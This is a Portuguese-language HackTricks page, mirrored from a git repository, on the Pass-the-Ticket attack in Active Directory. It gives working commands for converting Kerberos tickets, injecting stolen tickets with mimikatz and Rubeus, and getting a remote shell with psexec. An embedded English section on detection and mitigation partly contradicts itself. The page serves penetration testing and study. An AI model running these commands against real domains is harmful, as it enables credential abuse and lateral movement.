Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

5.6 KiB
Raw Blame History

Passar o Ticket (PTT)

Esse tipo de ataque é semelhante ao Pass the Key, mas em vez de usar hashes para solicitar um ticket, o próprio ticket é roubado e usado para autenticar como seu proprietário.

Leia:

Troca de tickets Linux e Windows entre plataformas

O script ticket_converter. Os únicos parâmetros necessários são o ticket atual e o arquivo de saída, ele detecta automaticamente o formato do arquivo de entrada do ticket e o converte. Por exemplo:

root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Ataque Pass The Ticket

Kekeo é uma ferramenta que pode ser usada para gerar TGTs (Ticket Granting Tickets) a partir de TGSs (Ticket Granting Service) previamente roubados. Essa ferramenta pode ser usada em sistemas Windows e também pode ser usada para converter TGSs em TGTs no Windows. Essa ferramenta não foi verificada devido à necessidade de uma licença em sua biblioteca ASN1, mas acredito que vale a pena mencioná-la.

{% code title="Linux" %}

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK 
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

{% endcode %}

{% code title="Windows" %}

Pass the Ticket

Pass the ticket is a technique used to authenticate to a system using Kerberos tickets stolen from another system. This technique is commonly used in lateral movement attacks within a network.

How it works

When a user authenticates to a Windows domain, a Kerberos ticket is generated and stored in memory. This ticket can be used to authenticate to other systems within the same domain without the need for the user to enter their credentials again.

An attacker can use a tool like Mimikatz to steal these tickets from memory and use them to authenticate to other systems within the domain. This allows the attacker to move laterally within the network without being detected.

Detection

Detection of pass the ticket attacks can be difficult as they do not involve the use of stolen credentials. Instead, the attacker is using a valid Kerberos ticket to authenticate to other systems within the domain.

One way to detect pass the ticket attacks is to monitor for unusual activity within the domain, such as a user authenticating to multiple systems within a short period of time. Another way is to monitor for the use of known tools like Mimikatz.

Mitigation

To mitigate pass the ticket attacks, it is important to limit the use of Kerberos tickets within the domain. This can be done by implementing strong password policies and enforcing regular password changes. Additionally, it is important to monitor for unusual activity within the domain and to restrict the use of tools like Mimikatz.

{% endcode %}

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

{% endcode %}

Referências


Use Trickest para construir e automatizar fluxos de trabalho facilmente, alimentados pelas ferramentas da comunidade mais avançadas do mundo.
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥